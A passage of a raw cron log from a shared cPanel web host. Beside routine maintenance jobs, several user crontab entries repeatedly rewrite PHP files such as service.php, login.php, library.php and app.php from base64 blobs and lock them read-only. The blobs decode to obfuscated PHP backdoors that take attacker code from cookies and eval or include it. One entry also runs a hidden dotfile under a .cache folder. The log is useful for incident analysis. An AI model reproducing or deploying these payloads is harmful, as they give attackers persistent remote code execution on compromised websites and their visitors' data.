tIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:18:01 medusa CROND[2687]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:18:01 medusa CROND[2688]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:18:01 medusa CROND[2689]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:18:01 medusa CROND[2690]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:18:01 medusa CROND[2692]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:18:01 medusa CROND[2695]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 21:18:01 medusa CROND[2698]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:18:01 medusa CROND[2700]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:18:01 medusa CROND[2699]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:19:01 medusa CROND[16230]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:19:01 medusa CROND[16236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:19:01 medusa CROND[16535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:19:01 medusa CROND[16536]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:19:01 medusa CROND[16540]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:19:01 medusa CROND[16551]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:19:01 medusa CROND[16552]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 21:19:01 medusa CROND[16553]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:19:01 medusa CROND[16554]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:19:01 medusa CROND[16555]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:19:01 medusa CROND[16557]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:19:01 medusa CROND[16563]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:20:01 medusa CROND[32125]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 21:20:01 medusa CROND[32130]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 21:20:01 medusa CROND[32196]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 21:20:01 medusa CROND[32355]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 21:20:01 medusa CROND[32482]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 21:20:01 medusa CROND[32495]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:20:01 medusa CROND[32496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:20:01 medusa CROND[32494]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:20:01 medusa CROND[32497]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
